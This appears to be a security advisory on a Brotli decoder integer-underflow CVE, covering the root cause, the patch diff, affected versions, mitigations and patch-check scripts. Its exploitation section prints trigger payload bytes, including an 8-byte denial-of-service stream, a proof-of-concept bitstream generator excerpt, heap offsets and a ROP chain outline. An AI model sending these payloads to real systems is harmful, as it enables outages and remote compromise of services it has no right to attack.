Oct 29, 2026·12 min read·3 visits
An unchecked return value in Google Brotli's DecodeBlockTypeAndLength() function leads to an integer underflow of block_length to 0xFFFFFFFF during fast-path decompression, enabling unauthenticated remote code execution via out-of-bounds heap writes or an infinite CPU loop during streaming decompression.
CVE-2026-111497, tracked in threat intelligence under the aliases Node2Shell, Broccoli2Shell, and HTTP2Shell, is a critical out-of-bounds heap write and denial-of-service vulnerability in the reference Google Brotli decompression library (c/dec/decode.c). The flaw originates from an unchecked return value and error-code conflation in DecodeBlockTypeAndLength() when processing malformed streams with single-block-type declarations (max_block_type <= 1). On the fast decoding path, the ignored error return causes the 32-bit unsigned block_length counter to underflow from 0 to UINT32_MAX (0xFFFFFFFF), corrupting internal decoder tables and enabling arbitrary heap memory overwrites via memmove16(). On the streaming path, the error return is misinterpreted as an incomplete bit-stream, trapping the worker process in an infinite 100% CPU loop. Because Google Brotli is embedded across major runtimes and infrastructure components—including Node.js, Envoy Proxy, Microsoft .NET, Istio, and Python—the vulnerability exposes a broad attack surface via standard HTTP Content-Encoding: br request and response bodies.
CVE-2026-111497 is a critical memory corruption and denial-of-service vulnerability in Google's C reference implementation of the Brotli compression algorithm (google/brotli), specifically located within the decompression state machine in c/dec/decode.c. Brotli (standardized in RFC 7932) is a lossless data compression format used across HTTP servers, reverse proxies, API gateways, and application runtimes to compress web traffic via the Content-Encoding: br and Accept-Encoding: br headers.
The vulnerability is classified under three chained weakness categories: Unchecked Return Value (CWE-252), Integer Overflow or Wraparound (CWE-190), and Out-of-bounds Write (CWE-787). When decompressing a Brotli metablock, the decoder maintains separate block types and remaining block lengths for three distinct symbol categories: literals (tree_type = 0), insert-and-copy command lengths (tree_type = 1), and distance codes (tree_type = 2). When the remaining block length for any category reaches zero, the decoder executes a block switch to parse the next block type and length from the bit stream.
Due to a defect in how DecodeBlockTypeAndLength() reports format errors and how caller wrappers propagate those return values, a crafted Brotli stream with max_block_type <= 1 forces an invalid block switch that goes unhandled. Depending on whether the decoder executes in batch/fast mode or streaming/safe mode, this unhandled error either underflows the unsigned 32-bit block_length counter to 0xFFFFFFFF—leading to out-of-bounds heap writes and remote code execution—or locks the decompression loop into a permanent BROTLI_DECODER_NEEDS_MORE_INPUT state that consumes 100% CPU.
Because the C reference library is statically linked or bundled directly into major language runtimes and service proxies, the downstream impact extends far beyond standalone compression utilities. Affected software includes Node.js (zlib module and downstream frameworks such as Express body-parser, Koa, NestJS, Next.js, and undici), Microsoft .NET, Envoy Proxy, Istio, Bun, Python (brotli and brotlicffi), Apache Arrow, ClickHouse, and DuckDB. The vulnerability is actively exploited in the wild and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
In c/dec/decode.c, the function DecodeBlockTypeAndLength(int safe, BrotliDecoderState* s, int tree_type) is responsible for reading the next block type and updating s->block_length[tree_type] when the current block is exhausted (s->block_length[tree_type] == 0). At the start of this function, the decoder checks s->num_block_types[tree_type] (stored in max_block_type). If a metablock header declares only a single block type for that tree (max_block_type <= 1), a block switch is illegal under RFC 7932, and the function returns BROTLI_FALSE (0) without updating s->block_length[tree_type].
The root cause lies in the dual-mode execution architecture of the Brotli decoder, which splits execution between a fast path (safe = 0, used when the bit reader is guaranteed to hold sufficient buffered input) and a safe path (safe = 1, used for chunked streaming when the bit reader may run out of bits mid-operation). In pre-patch versions (1.0.3 through 1.2.0), DecodeBlockTypeAndLength() returned a boolean (BROTLI_BOOL), using BROTLI_FALSE (0) to signal two completely distinct conditions: bit-reader exhaustion on the safe path, and a fatal stream format violation (max_block_type <= 1) on both paths.
On the fast path (safe == 0), the non-inlined wrapper functions DecodeLiteralBlockSwitch(), DecodeCommandBlockSwitch(), and DecodeDistanceBlockSwitch() were declared with a void return type and invoked through the BROTLI_SAFE(METHOD) macro. In fast mode, BROTLI_SAFE simply executed METHOD and discarded the return value of Decode*BlockSwitchInternal(0, s). Consequently, when max_block_type <= 1 triggered an early BROTLI_FALSE return:
s->block_length[tree_type] remained 0.ProcessCommandsInternal(), which immediately decremented s->block_length[tree_type].0 on the unsigned 32-bit integer s->block_length[tree_type] caused an integer underflow to UINT32_MAX (0xFFFFFFFF / 4,294,967,295).s->htree_command) and distance context slices (s->dist_context_map_slice), corrupting distance calculations and causing memmove16(copy_dst, copy_src) to write beyond the allocated s->ringbuffer heap region.On the safe streaming path (safe == 1), BROTLI_SAFE(METHOD) evaluated if (!Safe##METHOD) and, upon receiving BROTLI_FALSE (0), unconditionally set result = BROTLI_DECODER_NEEDS_MORE_INPUT and jumped to saveStateAndReturn. Because the return value resulted from a permanent header format condition (max_block_type <= 1) rather than a temporary shortage of input bits, supplying additional bytes to the stream never resolved the condition. The state machine remained permanently locked at BROTLI_STATE_COMMAND_BEGIN (state = 7) or BROTLI_STATE_HUFFMAN_CODE_2 (state = 20), creating an unrecoverable infinite loop.
> [!NOTE]
> Following initial disclosure, researcher Qi Deng (ikow/brotli2crash) noted that in RFC 7932 compliant single-block-type streams (NBLTYPES = 1), the maximum metablock length MLEN ($2^{24} = 16,777,216$) equals BROTLI_BLOCK_SIZE_CAP ($1 \ll 24$), meaning block_length should not reach 0 before the metablock terminates. Subsequent research (dimasma0305, ELLIO, syrex1013) proved that non-compliant bitstreams, custom command prefixes, and chunked stream boundaries force s->block_length[1] = 0 while max_block_type <= 1 remains active, making both the fast-path underflow and safe-path hang fully reachable.
Upstream commit 0ed4268a4401abcb4472096340477cf4af7d1a2b in google/brotli resolves the vulnerability by decoupling stream format errors from bit-reader exhaustion states and enforcing status checks across both fast and safe decoding paths. First, in c/include/brotli/decode.h, the previously reserved error code -17 is assigned to BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH:
BROTLI_ERROR_CODE(_ERROR_FORMAT_, DISTANCE, -16) SEPARATOR \
BROTLI_ERROR_CODE(_ERROR_FORMAT_, BLOCK_SWITCH, -17) SEPARATOR \
BROTLI_ERROR_CODE(_ERROR_, COMPOUND_DICTIONARY, -18) SEPARATOR \Second, DecodeBlockTypeAndLength() in c/dec/decode.c is refactored from returning BROTLI_BOOL to returning BrotliDecoderErrorCode. Instead of returning BROTLI_FALSE for both max_block_type <= 1 and SafeReadSymbol/SafeReadBlockLength failures, it explicitly distinguishes between BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH, BROTLI_DECODER_NEEDS_MORE_INPUT, and BROTLI_DECODER_SUCCESS:
static BROTLI_INLINE BrotliDecoderErrorCode DecodeBlockTypeAndLength(
int safe, BrotliDecoderState* s, int tree_type) {
brotli_reg_t max_block_type = s->num_block_types[tree_type];
const HuffmanCode* type_tree = &s->block_type_trees[
tree_type * BROTLI_HUFFMAN_MAX_TABLE_SIZE];
const HuffmanCode* len_tree = &s->block_len_trees[
tree_type * BROTLI_HUFFMAN_MAX_TABLE_SIZE];
BrotliBitReader* br = &s->br;
brotli_reg_t* ringbuffer = &s->block_type_rb[tree_type * 2];
brotli_reg_t block_type;
if (max_block_type <= 1) {
// FIX: Return a distinct fatal format error instead of BROTLI_FALSE
return BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;
}
/* Read 0..15 + 3..39 bits. */
if (!safe) {
block_type = ReadSymbol(type_tree, br);
s->block_length[tree_type] = ReadBlockLength(len_tree, br);
} else {
BrotliBitReaderState memento;
BrotliBitReaderSaveState(br, &memento);
if (!SafeReadSymbol(type_tree, br, &block_type)) {
// FIX: Explicitly report incomplete input in safe mode
return BROTLI_DECODER_NEEDS_MORE_INPUT;
}
if (!SafeReadBlockLength(s, &s->block_length[tree_type], len_tree, br)) {
s->substate_read_block_length = BROTLI_STATE_READ_BLOCK_LENGTH_NONE;
BrotliBitReaderRestoreState(br, &memento);
return BROTLI_DECODER_NEEDS_MORE_INPUT;
}
}
...
return BROTLI_DECODER_SUCCESS;
}Third, all six block-switch functions (DecodeLiteralBlockSwitchInternal, DecodeLiteralBlockSwitch, SafeDecodeLiteralBlockSwitch, and their Command and Distance counterparts) are changed from returning void or BROTLI_BOOL to propagating BrotliDecoderErrorCode. A new macro, BROTLI_SAFE_WITH_STATUS(METHOD), replaces BROTLI_SAFE(METHOD) at all three block-switch call sites inside ProcessCommandsInternal():
/* NB: METHOD should return BROTLI_DECODER_SUCCESS, BROTLI_DECODER_ERROR_*, or
BROTLI_DECODER_NEEDS_MORE_INPUT; the later two break the processing. */
#define BROTLI_SAFE_WITH_STATUS(METHOD) \
{ \
BrotliDecoderErrorCode status; \
if (safe) { \
status = Safe##METHOD; \
} else { \
status = METHOD; \
} \
if (status != BROTLI_DECODER_SUCCESS) { \
result = status; \
goto saveStateAndReturn; \
} \
}In ProcessCommandsInternal(), when s->block_length[1] == 0, s->block_length[2] == 0, or NextLiteralBlock is reached, BROTLI_SAFE_WITH_STATUS captures the returned status regardless of whether safe is 0 or 1. If status is BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH, the decoder immediately aborts command processing and transitions to an error state, preventing both the fast-path integer underflow and the safe-path infinite loop. The fix also adds a debug assertion BROTLI_DCHECK(s->meta_block_remaining_len <= (int)BROTLI_BLOCK_SIZE_CAP) in BrotliDecoderDecompressStream(). The patch completely eliminates the state desynchronization across all three block-switch trees.
Exploitation of CVE-2026-111497 requires no authentication and can be delivered over the network to any HTTP server, reverse proxy, or client runtime that decompresses Brotli streams (Content-Encoding: br). Two primary trigger primitives have been documented in public proof-of-concept research:
42 00 80 08 01 00 20 82): Configures NBLTYPESD = 2 with a crafted distance block-length Huffman tree, locking the decoder into state = 20 (BROTLI_STATE_HUFFMAN_CODE_2) where it infinitely returns BROTLI_DECODER_NEEDS_MORE_INPUT.90 00 40 04 01 00 40 04 05 01 01 40 00): Forces s->block_length[1] = 0 at state = 7 (BROTLI_STATE_COMMAND_BEGIN), invokes DecodeCommandBlockSwitch on the fast path, and underflows s->block_length[1] to 0xFFFFFFFF.To achieve remote code execution on Linux x86-64 targets (such as Node.js running Express 5.3.0 with body-parser 2.4.0), an attacker constructs a bitstream that triggers the fast-path underflow and then leverages the corrupted distance state during ProcessCommandsInternal() to overwrite adjacent fields within the BrotliDecoderState structure on the heap. Key offsets within BrotliDecoderState on 64-bit Linux include:
64: buffer.u8[0]72: buffer_length (targeted for out-of-bounds offset manipulation)124: meta_block_remaining_len128: ringbuffer base pointer288: block_length[1]720: metadata_start_func function pointer728: metadata_chunk_func function pointer736: metadata_callback_opaqueIn the proof-of-concept published by dimasma0305, a least-significant-bit-first bitstream generator constructs a metablock with 0xFFFFFF ($16,777,215$) length, single-symbol Huffman trees for literals, commands, and distances, and $2^{24}$ repeated 11-bit distance extra values:
def generate_stream() -> bytes:
bits = Bits()
bits.put(1, 1)
bits.put(0, 3)
bits.put(2, 3)
bits.put(0, 1)
bits.put(2, 2)
bits.put(0xFFFFFF, 24)
bits.put(0, 1)
varlen_u8(bits, 0)
varlen_u8(bits, 1)
one_symbol_tree(bits, 4, 0)
one_symbol_tree(bits, 26, 25)
bits.put(0xFFFFFF, 24)
varlen_u8(bits, 0)
bits.put(3, 6)
bits.put(0, 2)
varlen_u8(bits, 0)
varlen_u8(bits, 0)
one_symbol_tree(bits, 256, 0)
one_symbol_tree(bits, 704, 130)
one_symbol_tree(bits, 704, 130)
one_symbol_tree(bits, 400, 184)
distance_extra = 4
command_count = 1 << 24
completed = 0
while bits.used and completed < command_count:
bits.put(distance_extra, 11)
completed += 1
...When memmove16(copy_dst, copy_src) executes with attacker-controlled out-of-bounds offsets, it overwrites control pointers and return addresses. In documented laboratory exploits against pinned Linux x86-64 Node.js binaries, the overwrite redirects execution into a Return-Oriented Programming (ROP) chain: pivoting the stack (pivot_rsp_rax_30_ret) to the controlled heap buffer, loading the active HTTP socket descriptor (pop_rdi_ret with fd = 19) and stdout (pop_rsi_ret with 1), calling dup2_plt to bind the socket to standard output, and invoking execvp to execute /usr/bin/id over the HTTP connection.
CVE-2026-111497 carries an NVD CVSS v3.1 base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and a CVSS v4.0 score of 9.2 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). Successful exploitation on the fast path grants an unauthenticated remote attacker arbitrary code execution within the privileges of the target process (such as the node, envoy, or dotnet worker process), full read access to process memory (including environment variables, TLS keys, and session tokens), or immediate process termination via segmentation fault.
Even in environments where ASLR, heap layout variations, or streaming API chunk sizes prevent reliable ROP chain execution, the vulnerability provides a deterministic, single-request denial-of-service primitive. An 8-byte payload (42 00 80 08 01 00 20 82) sent to a streaming Brotli endpoint permanently pegs the worker thread or event loop at 100% CPU utilization, exhausting worker pools across Node.js event loops, Envoy worker threads, and .NET request handlers.
The vulnerability affects both server-side and client-side decompression vectors:
Content-Encoding: br POST/PUT payloads (including Express body-parser, Koa koa-bodyparser, NestJS, Envoy HTTP decompression filters, and Istio service mesh proxies).undici, axios, node-fetch, got, superagent, Next.js server fetch) that send Accept-Encoding: br and automatically decompress responses from untrusted upstream servers or webhooks.Threat intelligence from ELLIO Threat Research Lab and Assetnote confirms widespread internet scanning and active exploitation in the wild. The vulnerability holds an EPSS score of 0.87988 (87.99% probability of exploitation within 30 days, placing it in the 99.76th percentile of all CVEs) and was added to the CISA KEV catalog on October 27, 2026.
Organizations must prioritize upgrading both standalone libbrotli system packages and all runtimes or applications that statically link or bundle the Google Brotli C source code. Specifically, upgrade to the following patched releases:
1.2.1, 1.1.1, or 1.0.10.26.12.1 (26.x), 24.22.1 (24.x), or 22.23.4 (22.x). Node.js 20.x is End-of-Life and remains vulnerable.10.0.14, 9.0.22, or 8.0.33.1.39.3+, 1.38.6+, or 1.37.8+; update Istio to 1.31.2+, 1.30.6+, or 1.29.9+.1.4.4+, Next.js to 16.4.3+, Python brotli / brotlicffi to 1.2.1.0+, and Go andybalholm/brotli to 1.2.7+.Security teams can verify whether local Node.js binaries contain the upstream patch by checking for the presence of the newly introduced BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) constant in the built-in zlib module:
# Returns -17 on patched builds, or VULNERABLE on unpatched builds
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"To audit all node binaries across a host's PATH and verify dynamically linked libbrotli1 packages on Debian/Ubuntu systems:
dpkg -l libbrotli1 | grep -E '^ii'
for n in $(which -a node); do
ver=$($n -v 2>/dev/null)
patched=$($n -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH||'NO'" 2>/dev/null)
echo "$n: $ver (patched: $([[ $patched == '-17' ]] && echo 'YES' || echo 'NO'))"
doneIf immediate runtime patching is not feasible, apply network-layer mitigations at the reverse proxy, ingress controller, or Web Application Firewall (WAF). Configure edge proxies to reject incoming HTTP requests containing the Content-Encoding: br header unless client-to-server Brotli request compression is strictly required. For applications that make outbound HTTP requests to untrusted endpoints, explicitly override the Accept-Encoding header to gzip, deflate to prevent client libraries (undici, axios, fetch) from negotiating Brotli responses.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Brotli Google | >= 1.0.3, < 1.0.10 | 1.0.10 |
Brotli Google | >= 1.1.0, < 1.1.1 | 1.1.1 |
Brotli Google | >= 1.2.0, < 1.2.1 | 1.2.1 |
Node.js 22.x Node.js | < 22.23.4 | 22.23.4 |
Node.js 24.x Node.js | >= 23.0.0, < 24.22.1 | 24.22.1 |
Node.js 26.x Node.js | >= 25.0.0, < 26.12.1 | 26.12.1 |
.NET Microsoft | < 8.0.33, < 9.0.22, < 10.0.14 | 8.0.33 / 9.0.22 / 10.0.14 |
Envoy Proxy Envoy | < 1.37.8, 1.38.0 - 1.38.5, 1.39.0 - 1.39.2 | 1.37.8 / 1.38.6 / 1.39.3 |
Istio Istio | < 1.29.9, 1.30.0 - 1.30.5, 1.31.0 - 1.31.1 | 1.29.9 / 1.30.6 / 1.31.2 |
Bun Oven | < 1.4.4 | 1.4.4 |
Next.js Vercel | < 16.4.3 | 16.4.3 |
| Attribute | Detail |
|---|---|
| Vulnerability Class | CWE-252 (Unchecked Return Value) -> CWE-190 (Integer Underflow) -> CWE-787 (Out-of-Bounds Heap Write) |
| Affected Component | Google Brotli Decoder (c/dec/decode.c: DecodeBlockTypeAndLength & ProcessCommandsInternal) |
| Attack Vector | Network (Unauthenticated HTTP requests or responses with 'Content-Encoding: br') |
| CVSS v3.1 / v4.0 | 9.8 CRITICAL (v3.1) / 9.2 CRITICAL (v4.0) |
| EPSS Score | 87.99% (99.76th Percentile) |
| Security Impact | Remote Code Execution (fast path OOB heap write) or 100% CPU Infinite Loop DoS (safe streaming path) |
| Exploit & KEV Status | Actively Exploited in the Wild; Listed in CISA KEV (Added 2026-10-27) |
The product writes data past the end, or before the beginning, of the intended buffer. In CVE-2026-111497, an unchecked return value (CWE-252) triggers an unsigned integer underflow (CWE-190) of the block length counter, causing subsequent command processing to copy memory out-of-bounds outside the decoder ringbuffer.
A session-binding vulnerability in Python Social Auth (social-core) versions prior to 6.2.0 allows an attacker to perform authorization code injection against the OpenID Connect authentication backend. By storing generated OIDC nonces in a global database table without binding them to the initiating browser session, the library accepts any valid, unexpired nonce returned in an ID token regardless of which session originated the authentication transaction. When combined with the default disablement of Proof Key for Code Exchange (PKCE), an attacker who intercepts an unused authorization code can inject it into their own authentication flow to achieve full account takeover.
CVE-2026-116575 (GHSA-5324-3w58-qpp2) is an unescaped delimiter injection and canonicalization flaw in the Mem0 persistent memory platform for AI agents and applications. Prior to Python SDK version 2.0.18 and TypeScript SDK version 3.1.6, the session scope key construction functions join caller-controlled user_id, agent_id, and run_id identifiers using raw '=' and '&' delimiters without sanitization. An attacker who controls one of these identifiers in a multi-tenant deployment can inject delimiter sequences to force a string collision with a target tenant's session scope key, resulting in unauthorized disclosure, poisoning, or eviction of the target tenant's recent conversation buffer.
Seroval versions prior to 1.6.8 contain an insecure deserialization vulnerability (CWE-502) in the `fromJSON` parser. When reconstructing `AsyncIteratorFactoryInstance` or `IteratorFactoryInstance` nodes, the deserializer verifies the source node type using its identifier in the AST lookup table rather than verifying the runtime identity of the deserialized object. Because unmarked node identifiers omitted from the `m` reference array can be reused in vanilla deserialization mode, an attacker can substitute an arbitrary plain object or plugin-produced value as the stream source. This causes the runtime to invoke `.on(listener)` on an attacker-controlled target.
A Denial of Service (DoS) vulnerability exists in the Seroval JavaScript serialization library affecting versions 1.4.1 through 1.6.7. The deserialization routines fromJSON and fromCrossJSON fail to verify that node element lists are actual JavaScript Array primitives before reading their length property. An unauthenticated remote attacker can supply a compact, malformed JSON payload containing an array-like object with an arbitrary length value, causing unbounded memory allocation and synchronous loop iterations that block the event loop or crash the process via heap exhaustion.
Seroval, a JavaScript serialization library used for transferring complex structures across network boundaries, contains an input validation vulnerability in versions prior to 1.6.8. The `fromJSON` and `fromCrossJSON` deserializers fail to validate array element lists and the termination boundaries (`done` and `throw` indices) of sequence nodes. By supplying out-of-bounds indices or forged array-like structures, an unauthenticated remote attacker can construct an iterator with an unreachable exit condition or trigger excessive loop iterations, halting the single-threaded JavaScript event loop and causing a denial of service.
CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.